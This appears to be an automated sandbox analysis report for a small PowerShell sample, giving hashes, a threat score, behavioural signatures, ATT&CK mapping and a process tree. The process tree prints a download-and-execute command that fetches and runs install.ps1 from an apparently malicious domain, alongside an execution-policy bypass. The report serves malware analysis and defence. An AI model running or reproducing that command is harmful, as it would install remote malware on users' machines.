74400ffa8770b577d9b57e4492ce94ea5c886ac2e73bd09dbc63c2e338bae2ca

Analysis

user interaction
yes
max time kernel
30s
max time network
31s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/07/2026, 03:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.ps1
Size 100B
Sample260727-dslmtaha98
SHA256 74400ffa8770b577d9b57e4492ce94ea5c886ac2e73bd09dbc63c2e338bae2ca
MD5 0d66bca1506c6386972956423942e861
SHA1 4c2f753d217dfa2cae42845624b49457e7c3ccd3
SHA512 845e3312472b80e9dd4aa220c7928c5287afeda2922b2ea03cdff9b942f99cf768f248f65cba353a45086e40562d1db2f5881cde3f8c5b94d5fbd739f464080f
TLSH
T1CBB01295DC5403E54A85105583676E50C5B3B0800992A9F47F4123CF1E72E30D90D45C
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	4100	powershell.exe
15	4100	powershell.exe
20	4100	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	api.ipify.org
15	api.ipify.org

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1708	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1708	powershell.exe
1708	powershell.exe
4100	powershell.exe
4100	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 4100	1708	powershell.exe	86

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(irm 'https://5eplay-com.harikrishnaharirama.com/install.ps1' -UseBasicParsing)"
  2⤵
  - Badlisted process makes network request
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 60ade4081e177ac66daa05f3fd3697afd15e443472b594f77891280332a8ec51
MD5 e3746e8cfd9f7bb330d9ddf5af02f13a
SHA1 759cb09fa3c7e13d4824ca8b9bbbb7c91c435af0
SHA512 b3539750b7e2cd051de53b8a6de26e729258b744c43b9a898f64f6b3b20b468625a9ad79d1b2daddc55f95216076a9196453bd2d45c2fcac8e2bc19eab80cad4
TLSH
T10571EE313275B0E4C8567F071A6819C063BF4386EA94AF5CB298621EDD2741BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 ab30557136985c07fda9a0e63748e1ac4b8b3c718909624f1f168ed4e6abc273
MD5 d6dda16f03f6a1e3c3f72f7c566aa108
SHA1 29d2f0c0f3b47eed23e352dc5e777a4cbd25d1cd
SHA512 d2d5debf2732db11c39f9f5dd7400155575dd6fd3c26414fd749b39d02a59145d777d7edc091a80f0ef72569deb998ef3faacea65bbebdb8940150001f743d4a
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_yy5yy0tw.vpw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yy5yy0tw.vpw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1708-0-0x0000016EB43A0000-0x0000016EB43B0000-memory.dmp

Download

memory/1708-1-0x0000016EB43A0000-0x0000016EB43B0000-memory.dmp

Download

memory/1708-2-0x0000016E9BC50000-0x0000016E9BC72000-memory.dmp

Download

memory/4100-10-0x00000190A96B0000-0x00000190A96C0000-memory.dmp

Download

memory/4100-11-0x00000190A96B0000-0x00000190A96C0000-memory.dmp

Download

memory/4100-19-0x00000190AC370000-0x00000190AC532000-memory.dmp

Download

memory/4100-20-0x00000190ACA70000-0x00000190ACF98000-memory.dmp

Download

memory/4100-22-0x00000190A96B0000-0x00000190A96C0000-memory.dmp

Download